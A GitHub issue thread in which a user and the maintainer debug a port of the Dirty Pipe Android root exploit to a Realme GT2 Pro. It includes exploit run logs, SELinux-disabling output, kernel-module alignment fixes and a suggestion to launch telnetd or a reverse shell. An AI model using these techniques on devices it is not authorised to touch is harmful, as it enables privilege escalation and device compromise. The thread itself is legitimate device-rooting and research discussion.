polygraphene / DirtyPipe-Android

Dirty Pipe root exploit for Android (Pixel 6)
771 stars 130 forks source link

Port exploit to Realme GT2 Pro #12

Closed rapperskull closed 2 years ago

rapperskull commented 2 years ago

Hi, I tried to run the exploit on a Realme GT2 Pro without success. I modified the run file, adding -f /vendor/lib/libdrmfs.so (one of the libraries with 0x5F at offset 0x1000), but the phone reboots. This is the script output:

dirtypipe-android: 1 file pushed, 0 skipped. 87.7 MB/s (46184 bytes in 0.001s)
env-patcher: 1 file pushed, 0 skipped. 48.5 MB/s (13224 bytes in 0.000s)
startup-root: 1 file pushed, 0 skipped. 28.9 MB/s (6946 bytes in 0.000s)
magisk/: 7 files pushed, 0 skipped. 45.0 MB/s (14522684 bytes in 0.308s)
10 files pushed, 0 skipped. 44.2 MB/s (14589038 bytes in 0.315s)
Failed to set property 'a' to 'a'.
See dmesg for error reason.
Ignore device info.
Device version: Product=RMX3301 Fingerprint=realme/RMX3301EEA/RED8ACL1:12/SKQ1.211019.001/S.GDPR.202204141322:user/release-keys
stage1_lib: /system/lib64/libc++.so
stage2_lib: /system/lib/libldacBT_enc.so
stage2_param_libname: /vendor/lib/libdrmfs.so
d503233f PACIASP was found. Offset hook address by +4.
Offset found: shellcode_offset: a57d0 hook_offset: 5b264 first instruction: a9be7bfd
Empty space size: 2096 bytes
Run index: 0
Stage1 debug filename: /dev/.dirtypipe-0000
Shell code size: 344 0x158 bytes
startup script: /data/local/tmp/startup-root
It worked!

I think this is a problem with the included mymod.ko. Unfortunately Realme hasn't released yet the kernel sources. Do you think there's another way around? Thank you.

rapperskull commented 2 years ago

BTW I also tried to use /vendor/lib/libcamxifestriping.so and beta4 from the S22 thread, with the same result. This is the onyl thing in the logcat:

05-31 11:54:16.557 31291 31291 W libc    : Unable to set property "a" to "a": error code: 0x18
05-31 11:54:16.554 31293 31293 W modprobe: type=1400 audit(0.0:8650): avc: denied { read } for path="pipe:[1216045]" dev="pipefs" ino=1216045 scontext=u:r:vendor_modprobe:s0 tcontext=u:r:init:s0 tclass=fifo_file permissive=0
05-31 11:54:16.554 31293 31293 W modprobe: type=1400 audit(0.0:8651): avc: denied { write } for path="pipe:[1216045]" dev="pipefs" ino=1216045 scontext=u:r:vendor_modprobe:s0 tcontext=u:r:init:s0 tclass=fifo_file permissive=0

uname -a output: Linux localhost 5.10.66-android12-9-gc634142fd3d8-ab8094802 #1 SMP PREEMPT Wed Jan 19 19:31:18 UTC 2022 aarch64

The ROM build date is Thu Apr 14 12:53:07 CST 2022, so I'm not sure if Dirty Pipe is patched in this kernel version, but judging from the kernel date it should not.

polygraphene commented 2 years ago

Check if mymod.ko is properly loaded. e.g. Removing code from mymod_init and put log output like following:

static int __init mymod_init(void) {
    pr_info("mymod_init: called!\n");
    return -ENOMSG;
}

Perhaps you can use kernel code from Pixel6.

rapperskull commented 2 years ago

Just tried and unfortunately I can't see mymod_init: called! anywhere.

polygraphene commented 2 years ago

You still see rebooting after exploit?

pr_info write to dmesg instead of logcat. But dmesg can't be read when selinux is enabled. It is necessary to find another method to log.

rapperskull commented 2 years ago

Yes, it still reboots. Didn't know that pr_info wrote to dmesg.

polygraphene commented 2 years ago

It shouldn't reboot if module is properly loaded. Perhaps there is a issue before loading mod. Comment out this line and check logcat. https://github.com/polygraphene/DirtyPipe-Android/blob/ca23ffb92f8a097e6e9bd05e5c228449a86ad8df/modprobe-payload.c#L68

In addition, can you obtain kernel module for the device from firmware? Maybe the kernel crashed because of the difference of module binary format.

rapperskull commented 2 years ago

Sorry, I made a mistake. After replacing mymod_init it doesn't reboot. This is the logcat:

06-01 08:03:47.834 11120 11120 W libc    : Unable to set property "a" to "a": error code: 0x18
06-01 08:03:47.833 11123 11123 W modprobe: type=1400 audit(0.0:219): avc: denied { read } for path="pipe:[175682]" dev="pipefs" ino=175682 scontext=u:r:vendor_modprobe:s0 tcontext=u:r:init:s0 tclass=fifo_file permissive=0
06-01 08:03:47.833 11123 11123 W modprobe: type=1400 audit(0.0:220): avc: denied { write } for path="pipe:[175682]" dev="pipefs" ino=175682 scontext=u:r:vendor_modprobe:s0 tcontext=u:r:init:s0 tclass=fifo_file permissive=0
06-01 08:03:47.849 11123 11123 I modprobe-payload: Parsed '/vendor/lib/libcamxifestriping.so' '/data/local/tmp/startup-root' fd=3
06-01 08:03:47.856 11123 11123 I modprobe-payload: Succeed: /vendor/lib/libcamxifestriping.so -1 42
06-01 08:03:47.857 11124 11124 I modprobe-payload: execve: 13 /data/local/tmp/startup-root 0
06-01 08:03:48.857 11124 11124 I modprobe-payload: execve: 13 /data/local/tmp/startup-root 1
06-01 08:03:49.858 11124 11124 I modprobe-payload: execve: 13 /data/local/tmp/startup-root 2
06-01 08:03:50.859 11124 11124 I modprobe-payload: execve: 13 /data/local/tmp/startup-root 3
06-01 08:03:51.862 11124 11124 I modprobe-payload: execve: 13 /data/local/tmp/startup-root 4
06-01 08:03:52.866 11124 11124 I modprobe-payload: execve: 13 /data/local/tmp/startup-root 5
06-01 08:03:53.868 11124 11124 I modprobe-payload: execve: 13 /data/local/tmp/startup-root 6

And it goes on until I reboot. Do you still need me to make the other try, commenting that line? As for the kernel module, what do you need exactly? I have the boot.img, do I need to extract something from that?

polygraphene commented 2 years ago

That's good. It means the rebooting was caused by the code to setup permissive domain. Recover original mymod.c then comment out this line. (Or use mymod-permissive.ko from repository.) https://github.com/polygraphene/DirtyPipe-Android/blob/ca23ffb92f8a097e6e9bd05e5c228449a86ad8df/mymod/mymod.c#L156

rapperskull commented 2 years ago

06-01 08:54:15.950 9873 9873 I modprobe-payload: Failed: /vendor/lib/libcamxifestriping.so -1 8

rapperskull commented 2 years ago

As I understand, finit_module is setting errno to ENOEXEC. I read here that it could be due to a vermagic mismatch. ~~I checked /proc/config.gz and in fact the kernel was compiled without CONFIG_MODULE_FORCE_LOAD, so setting the MODULE_INIT_IGNORE_VERMAGIC flag doesn't work. I don't know exactly what it means, maybe I need to use the sources for my kernel specifically (which I don't have) or checkout the Pixel 6 kernel sources to a specific commit? EDIT: I tried to change the version in build-script-patch.patch to match the one of my kernel, but I had no luck. Same error.~~

EDIT2: The symbol version hashes take precedence over vermagic, and they seem to match, so this is not the problem.

rapperskull commented 2 years ago

After a lot of tries, I boiled the issue down to this line: https://github.com/polygraphene/DirtyPipe-Android/blob/ca23ffb92f8a097e6e9bd05e5c228449a86ad8df/mymod/mymod.c#L203

rapperskull commented 2 years ago

Finally found out the problem, by a lot of trial and error. The fact is that we can not overwrite the first byte of every page, and something important could be at offset 0x2000. I ran llvm-objcopy --set-section-alignment .comment=4096 mymod-permissive.ko on your original mymod-permissive.ko file to align the .comment section at offset 0x2000 and everything worked. Something still crosses the boundary at offset 0x3000, but maybe it's not a problem.

Well, almost everything worked: now I can't get root access. Magisk simply logs su: request rejected (2000) after a while, without prompting. Maybe if I factory reset, something changes and it works, but maybe we can try to figure out what's wrong.

rapperskull commented 2 years ago

I created #13 with the changes I made to make it work on my device. It simply generates a smaller file and avoids putting important stuff at offset 0x2000. On my device it even works with USE_PERMISSIVE_DOMAIN defined.

As for Magisk not granting root, still no success. I also made a factory reset but nothing changed.

polygraphene commented 2 years ago

Finally found out the problem, by a lot of trial and error.

Congrat! 👍 Sorry that I couldn't give you any good help.

For magisk issue, try following checks.

  1. See if magisk app is installed. It should be installed automatically.
  2. Open magisk settings to see adb shell is permitted to access su.
  3. Check if magiskd is running. ps -A | grep magiskd
  4. Edit startup-root to launch telnetd or reverse shell for better debugging environment.
  5. See magisk logs placed in /data/adb.
rapperskull commented 2 years ago

Magisk is installed, both apps and adb can access root, and magiskd is running. I cannot see the logs since /data/adb is not accessible without being root, but the log in the Magisk app says nothing wrong. I replaced startup-root with the one from beta4, and this is the output:

06-03 20:17:07.355  9946  9946 W libc    : Unable to set property "a" to "a": error code: 0x18
06-03 20:17:07.359  9949  9949 W modprobe: type=1400 audit(0.0:219): avc: denied { read } for path="pipe:[125985]" dev="pipefs" ino=125985 scontext=u:r:vendor_modprobe:s0 tcontext=u:r:init:s0 tclass=fifo_file permissive=0
06-03 20:17:07.359  9949  9949 W modprobe: type=1400 audit(0.0:220): avc: denied { write } for path="pipe:[125985]" dev="pipefs" ino=125985 scontext=u:r:vendor_modprobe:s0 tcontext=u:r:init:s0 tclass=fifo_file permissive=0
06-03 20:17:07.373  9949  9949 I modprobe-payload: Parsed '/vendor/lib/libcamxifestriping.so' '/data/local/tmp/startup-root' fd=3
06-03 20:17:07.411  9949  9949 I modprobe-payload: Succeed: /vendor/lib/libcamxifestriping.so -1 42
06-03 20:17:07.415  9953  9953 I setenforce: type=1400 audit(0.0:221): avc: denied { setenforce } for scontext=u:r:vendor_modprobe:s0 tcontext=u:object_r:kernel:s0 tclass=security permissive=1
06-03 20:17:07.415   812   812 W auditd  : type=1404 audit(0.0:222): enforcing=0 old_enforcing=1 auid=4294967295 ses=4294967295 enabled=1 old-enabled=1 lsm=selinux res=1
06-03 20:17:07.423  9955  9955 I logwrapper: type=1400 audit(0.0:223): avc: denied { read write } for name="0" dev="devpts" ino=3 scontext=u:r:vendor_modprobe:s0 tcontext=u:object_r:devpts:s0 tclass=chr_file permissive=1
06-03 20:17:07.430  9954  9954 I echo    : startup-root ok
06-03 20:17:07.442  9956  9956 I id      : uid=0(root) gid=0(root) groups=0(root),3009(readproc) context=u:r:vendor_modprobe:s0
06-03 20:17:07.457  9958  9958 I getenforce: Permissive
06-03 20:17:07.473  9961  9961 I echo    : startup-root 2
06-03 20:17:07.509  9963  9963 I echo    : startup-root 3
06-03 20:17:07.582  9966  9966 I echo    : startup-root 4
06-03 20:17:08.607  9979  9979 I logwrapper: type=1400 audit(0.0:846): avc: denied { read write } for name="0" dev="devpts" ino=3 scontext=u:r:vendor_modprobe:s0 tcontext=u:object_r:devpts:s0 tclass=chr_file permissive=1
06-03 20:17:08.607  9979  9979 I logwrapper: type=1400 audit(0.0:847): avc: denied { open } for path="/dev/pts/0" dev="devpts" ino=3 scontext=u:r:vendor_modprobe:s0 tcontext=u:object_r:devpts:s0 tclass=chr_file permissive=1
06-03 20:17:08.619  9979  9979 I echo    : type=1400 audit(0.0:848): avc: denied { getattr } for path="/dev/pts/0" dev="devpts" ino=3 scontext=u:r:vendor_modprobe:s0 tcontext=u:object_r:devpts:s0 tclass=chr_file permissive=1
06-03 20:17:08.625  9978  9978 I echo    : startup-root 5
06-03 20:17:08.631  9981  9981 I mkfifo  : type=1400 audit(0.0:849): avc: denied { create } for name="reverse-fifo" scontext=u:r:vendor_modprobe:s0 tcontext=u:object_r:shell_data_file:s0 tclass=fifo_file permissive=1
06-03 20:17:08.635  9984  9984 I startup-root: type=1400 audit(0.0:850): avc: denied { write } for name="reverse-fifo" dev="dm-37" ino=28914 scontext=u:r:vendor_modprobe:s0 tcontext=u:object_r:shell_data_file:s0 tclass=fifo_file permissive=1
06-03 20:17:08.655  9985  9985 I echo    : startup-root 6
06-03 20:17:09.204   726   726 W SELinux : Multiple same specifications for vendor.qti.gnss.ILocAidlGnss/default.
06-03 20:17:09.205   726   726 W SELinux : Multiple same specifications for OplusLocationManager.
06-03 20:17:09.208   726   726 I SELinux : SELinux: Loaded service_contexts from:
06-03 20:17:09.208   726   726 I SELinux :     /system/etc/selinux/plat_service_contexts
06-03 20:17:09.209   726   726 I SELinux :     /system_ext/etc/selinux/system_ext_service_contexts
06-03 20:17:09.209   726   726 I SELinux :     /product/etc/selinux/product_service_contexts
06-03 20:17:09.209   726   726 I SELinux :     /vendor/etc/selinux/vendor_service_contexts
06-03 20:17:09.209   726   726 I SELinux : avc:  received setenforce notice (enforcing=0)
06-03 20:17:29.879   731   731 I SELinux : avc:  received setenforce notice (enforcing=0)

I filtered only what I thought was relevant from the log. Needless to say, no reverse shell connected. Previously I also tried a minimal startup-root that only calls setprop but it failed with error code 0xb (while it usually fails with 0x18 when you're not root).

EDIT: As I understand, it should be EAGAIN/EWOULDBLOCK. Maybe it's a socket failure.

polygraphene commented 2 years ago

I don't know if setprop works on startup-root. Did you test telnetd method? Uncomment this line, https://github.com/polygraphene/DirtyPipe-Android/blob/fb05d534c4e50d22f2f6654d2ba93c8e11ed28a1/startup-root#L67 then run busybox telnet 127.0.0.1 10848 to access root shell.

magisk setup is very hacky and may be unstable. Try telnetd first.

rapperskull commented 2 years ago

I can get a root shell by using telnet, so it's really something with Magisk initialization

polygraphene commented 2 years ago

Can see magisk's log? strace of su and magiskd will also help debugging.

rapperskull commented 2 years ago

This is the only thing in Magisk log:

06-06 19:30:46.040 10179 10179 I : Magisk 24.3(24300) daemon started
06-06 19:30:46.040 10179 10179 I : * Device API level: 31
06-06 19:32:33.359 10179 10431 W : su: request rejected (2000)

How can I strace su and/or magiskd?

rapperskull commented 2 years ago

Here is the output of strace -p $(pidof magiskd) -f while running su in adb shell: magiskd_strace.zip

polygraphene commented 2 years ago

Sorry for late response. Did you solve the issue?

According to the log, am command called from su daemon was crashed.

[pid 11130] execve("/system/bin/app_process", ["/system/bin/app_process", "/system/bin", "com.android.commands.content.Con"..., "call", "--uri", "content://com.topjohnwu.magisk.p"..., "--user", "0", "--method", "log", "--extra", "from.uid:i:2000", "--extra", "to.uid:i:0", "--extra", "pid:i:11094", "--extra", "policy:i:1", "--extra", "command:s:/system/bin/sh", "--extra", "notify:b:true"], 0xb40000742164b000 /* 25 vars */ <unfinished ...>
[pid 11141] --- SIGRT_1 {si_signo=SIGRT_1, si_code=SI_TKILL, si_pid=11130, si_uid=0} ---

https://github.com/topjohnwu/Magisk/blob/e4094c0caafd6ac4b58eb3e2ab8f070ec666a6a3/native/jni/su/connect.cpp#L13-L15

Check to see if am command works from telnetd shell. Run am without argument. am command sometimes doesn't work on root shell, while it properly works on adb shell.

When I developed the magisk installation script, I encountered similar problem. am command requires valid mount namespace and write permission to stdio.

I got following error when running `am start having invalid mount namespace.

CANNOT LINK EXECUTABLE "/system/bin/app_process64": library "libnativeloader.so" not found: needed by main executable

Following line should fix issue by entering proper mount namespace then launch magiskd. It may not work for some reason. https://github.com/polygraphene/DirtyPipe-Android/blob/fb05d534c4e50d22f2f6654d2ba93c8e11ed28a1/startup-root#L84

When am fails by not having permission to stdio, try to redirect output to file or pipe.

polygraphene commented 2 years ago

In addition, check logcat output for crash log of am.

rapperskull commented 2 years ago

Unfortunately, I don't think I can test anymore. My whole point was to just change a ro property and trick the official app into allowing me to unlock the bootloader, and it worked. So basically I just installed Magisk the regular way. That's a shame because I really wanted to help port the exploit to more devices. BTW I repackaged your work in an easy to use solution (and of course credited you): https://forum.xda-developers.com/t/eu-model-unlock-bootloader-of-european-model.4454787/

polygraphene commented 2 years ago

Permanent root is better than temporary magisk, because it is hacky and unstable. The main goal of this exploit is temporary root shell. It doesn't matter whether temp magisk is working or not for unlockable devices. Thank you for crediting in the article. I added that link to README.